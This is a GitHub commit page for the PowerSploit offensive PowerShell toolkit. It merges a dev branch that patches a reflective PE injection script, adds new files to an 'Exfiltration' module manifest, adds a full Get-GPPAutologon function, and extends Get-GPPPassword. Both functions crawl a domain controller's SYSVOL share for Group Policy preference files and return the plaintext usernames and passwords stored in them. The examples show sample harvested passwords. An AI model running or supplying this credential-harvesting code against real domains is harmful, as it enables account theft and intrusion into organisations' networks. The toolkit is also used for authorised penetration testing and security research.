Skip to content

Commit c7985c9

Browse files
HarmJ0yHarmJ0y
authored
Merge pull request PowerShellMafia#202 from PowerShellMafia/dev
Dev
2 parents 2403654 + 863699d commit c7985c9

23 files changed

+9311
-3537
lines changed

‎CodeExecution/Invoke-ReflectivePEInjection.ps1

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -648,7 +648,7 @@ $RemoteScriptBlock = {
648648
$Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
649649

650650
$FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
651-
$FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr])
651+
$FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])
652652
$FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
653653
$Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary
654654

‎Exfiltration/Exfiltration.psd1

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -31,6 +31,7 @@ FunctionsToExport = '*'
3131
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
3232
'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1',
3333
'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1', 'Invoke-CredentialInjection.ps1',
34-
'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml'
34+
'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml',
35+
'Get-MicrophoneAudio.ps1', 'Get-GPPAutologon.ps1'
3536

3637
}

‎Exfiltration/Get-GPPAutologon.ps1

Lines changed: 139 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,139 @@
1+
function Get-GPPAutologon
2+
{
3+
<#
4+
.SYNOPSIS
5+
6+
Retrieves password from Autologon entries that are pushed through Group Policy Registry Preferences.
7+
8+
PowerSploit Function: Get-GPPAutologon
9+
Author: Oddvar Moe (@oddvarmoe)
10+
Based on Get-GPPPassword by Chris Campbell (@obscuresec) - Thanks for your awesome work!
11+
License: BSD 3-Clause
12+
Required Dependencies: None
13+
Optional Dependencies: None
14+
15+
.DESCRIPTION
16+
17+
Get-GPPAutologn searches the domain controller for registry.xml to find autologon information and returns the username and password.
18+
19+
.EXAMPLE
20+
21+
PS C:\> Get-GPPAutolgon
22+
23+
UserNames File Passwords
24+
--------- ---- ---------
25+
{administrator} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {PasswordsAreLam3}
26+
{NormalUser} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {ThisIsAsupaPassword}
27+
28+
29+
.EXAMPLE
30+
31+
PS C:\> Get-GPPAutologon | ForEach-Object {$_.passwords} | Sort-Object -Uniq
32+
33+
password
34+
password12
35+
password123
36+
password1234
37+
password1234$
38+
read123
39+
Recycling*3ftw!
40+
41+
.LINK
42+
43+
https://support.microsoft.com/nb-no/kb/324737
44+
#>
45+
46+
[CmdletBinding()]
47+
Param ()
48+
49+
#Some XML issues between versions
50+
Set-StrictMode -Version 2
51+
52+
#define helper function to parse fields from xml files
53+
function Get-GPPInnerFields
54+
{
55+
[CmdletBinding()]
56+
Param (
57+
$File
58+
)
59+
60+
try
61+
{
62+
$Filename = Split-Path $File -Leaf
63+
[xml] $Xml = Get-Content ($File)
64+
65+
#declare empty arrays
66+
$Password = @()
67+
$UserName = @()
68+
69+
#check for password and username field
70+
if (($Xml.innerxml -like "*DefaultPassword*") -and ($Xml.innerxml -like "*DefaultUserName*"))
71+
{
72+
$props = $xml.GetElementsByTagName("Properties")
73+
foreach($prop in $props)
74+
{
75+
switch ($prop.name)
76+
{
77+
'DefaultPassword'
78+
{
79+
$Password += , $prop | Select-Object -ExpandProperty Value
80+
}
81+
82+
'DefaultUsername'
83+
{
84+
$Username += , $prop | Select-Object -ExpandProperty Value
85+
}
86+
}
87+
88+
Write-Verbose "Potential password in $File"
89+
}
90+
91+
#put [BLANK] in variables
92+
if (!($Password))
93+
{
94+
$Password = '[BLANK]'
95+
}
96+
97+
if (!($UserName))
98+
{
99+
$UserName = '[BLANK]'
100+
}
101+
102+
#Create custom object to output results
103+
$ObjectProperties = @{'Passwords' = $Password;
104+
'UserNames' = $UserName;
105+
'File' = $File}
106+
107+
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
108+
Write-Verbose "The password is between {} and may be more than one value."
109+
if ($ResultsObject)
110+
{
111+
Return $ResultsObject
112+
}
113+
}
114+
}
115+
catch {Write-Error $Error[0]}
116+
}
117+
118+
try {
119+
#ensure that machine is domain joined and script is running as a domain account
120+
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
121+
throw 'Machine is not a domain member or User is not a member of the domain.'
122+
}
123+
124+
#discover potential registry.xml containing autologon passwords
125+
Write-Verbose 'Searching the DC. This could take a while.'
126+
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Registry.xml'
127+
128+
if ( -not $XMlFiles ) {throw 'No preference files found.'}
129+
130+
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
131+
132+
foreach ($File in $XMLFiles) {
133+
$Result = (Get-GppInnerFields $File.Fullname)
134+
Write-Output $Result
135+
}
136+
}
137+
138+
catch {Write-Error $Error[0]}
139+
}

‎Exfiltration/Get-GPPPassword.ps1

Lines changed: 30 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,12 @@ function Get-GPPPassword {
1212
1313
.DESCRIPTION
1414
15-
Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
15+
Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
16+
17+
.PARAMETER Server
18+
19+
Specify the domain controller to search for.
20+
Default's to the users current domain
1621
1722
.EXAMPLE
1823
@@ -42,6 +47,21 @@ function Get-GPPPassword {
4247
UserNames : {DEMO\Administrator, admin}
4348
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
4449
50+
.EXAMPLE
51+
PS C:\> Get-GPPPassword -Server EXAMPLE.COM
52+
53+
NewName : [BLANK]
54+
Changed : {2014-02-21 05:28:53}
55+
Passwords : {password12}
56+
UserNames : {test1}
57+
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
58+
59+
NewName : {mspresenters}
60+
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
61+
Passwords : {Recycling*3ftw!, password123, password1234}
62+
UserNames : {Administrator (built-in), DummyAccount, dummy2}
63+
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
64+
4565
.EXAMPLE
4666
4767
PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
@@ -63,7 +83,11 @@ function Get-GPPPassword {
6383
#>
6484

6585
[CmdletBinding()]
66-
Param ()
86+
Param (
87+
[ValidateNotNullOrEmpty()]
88+
[String]
89+
$Server = $Env:USERDNSDOMAIN
90+
)
6791

6892
#Some XML issues between versions
6993
Set-StrictMode -Version 2
@@ -109,7 +133,7 @@ function Get-GPPPassword {
109133
function Get-GPPInnerFields {
110134
[CmdletBinding()]
111135
Param (
112-
$File
136+
$File
113137
)
114138

115139
try {
@@ -204,10 +228,10 @@ function Get-GPPPassword {
204228
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
205229
throw 'Machine is not a domain member or User is not a member of the domain.'
206230
}
207-
231+
208232
#discover potential files containing passwords ; not complaining in case of denied access to a directory
209-
Write-Verbose 'Searching the DC. This could take a while.'
210-
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
233+
Write-Verbose "Searching \\$Server\SYSVOL. This could take a while."
234+
$XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
211235

212236
if ( -not $XMlFiles ) {throw 'No preference files found.'}
213237

0 commit comments

Comments
 (0)